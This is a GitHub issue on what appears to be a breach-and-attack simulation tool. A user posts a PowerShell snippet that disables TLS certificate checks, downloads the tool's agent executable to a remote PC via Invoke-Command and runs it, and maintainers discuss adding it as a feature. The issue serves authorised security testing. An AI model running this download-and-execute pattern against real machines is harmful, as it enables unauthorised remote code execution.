Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

'Run Monkey' on remote PCs Powershell UI #505

Open
grownuphacker opened this issue Dec 3, 2019 · 4 comments
Open

'Run Monkey' on remote PCs Powershell UI #505

grownuphacker opened this issue Dec 3, 2019 · 4 comments
Assignees
Labels
Beginner friendly New to the project? This issue is good for you! Complexity: Low Feature Issue that describes a new feature to be implemented. Impact: Medium UI User Interface
Milestone

Comments

@grownuphacker
Copy link

grownuphacker commented Dec 3, 2019

Is your feature request related to a problem? Please describe.
I was trying to run the monkey remotely using the given script-code.

Describe the solution you'd like
To be able to copy-paste and run the monkey on a remote PC (I like to abuse the systems that have AV disabled for some special snowflake reason)

Describe alternatives you've considered
Umm... I made it work, so I'm sharing

Be kind, I'm new to this...

However I'm not useless with a powershell window. The 'Run Monkey' presents a nice little powershell tool, that as written, won't easily work on remote PCs.

In saying that - if you want to run remotely - here is a snippet for Windows 64 that works:

  • PCABC001 could be a text box in the UI for 'remote monkey'
  • SERVERDETAILS: is alread generated from the UI, I'm just sanitizing mine
  • $env:TEMP was just to give a full path on the remote server to download the file and start the process. This could easily be generated from the Infection Monkey config, perhaps rename "Dropper Target Path" to "Dropper and remote monkey target path" or something and just use the C:\Windows\temp that exists there already just to simplify copy and paste.

Working remote execution of powershell

Invoke-Command -ComputerName PCABC001 -ScriptBlock {`
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; 
(New-Object System.Net.WebClient).DownloadFile('https://SERVERDETAILS:5000/api/monkey/download/monkey-windows-64.exe',"${env:TEMP}\monkey.exe")
Start-Process -FilePath "${env:temp}\monkey.exe" -ArgumentList 'm0nk3y -s SERVERDETAILS:5000';`
}
@ShayNehmad ShayNehmad added Beginner friendly New to the project? This issue is good for you! Feature Issue that describes a new feature to be implemented. Island UI User Interface labels Dec 4, 2019
@ShayNehmad
Copy link
Contributor

ShayNehmad commented Dec 4, 2019

This seems cool and somewhat related to #489 which we want to do as well. Thanks for sharing!

@danielguardicore WDYT? 1.8.1?

@ShayNehmad ShayNehmad added this to the 1.8.1 milestone Jan 29, 2020
@ShayNehmad ShayNehmad modified the milestones: 1.8.1, 1.9.0 Apr 8, 2020
@ShayNehmad ShayNehmad added the e/1 label May 25, 2020
@itaymmguardicore itaymmguardicore removed this from the 1.9.0 milestone Aug 11, 2020
@itaymmguardicore itaymmguardicore added this to the 1.10.0 milestone Aug 12, 2020
@VakarisZ
Copy link
Contributor

VakarisZ commented Aug 17, 2020

If we done this after #510 we could remove "choose the IP interface" prompt

@VakarisZ
Copy link
Contributor

Should be done after "Scenarios", when run interface is flushed out

@mssalvatore
Copy link
Collaborator

What about adding it as an enhancement to #838?

@VakarisZ VakarisZ removed the Island label Feb 25, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Beginner friendly New to the project? This issue is good for you! Complexity: Low Feature Issue that describes a new feature to be implemented. Impact: Medium UI User Interface
Projects
None yet
Development

No branches or pull requests

5 participants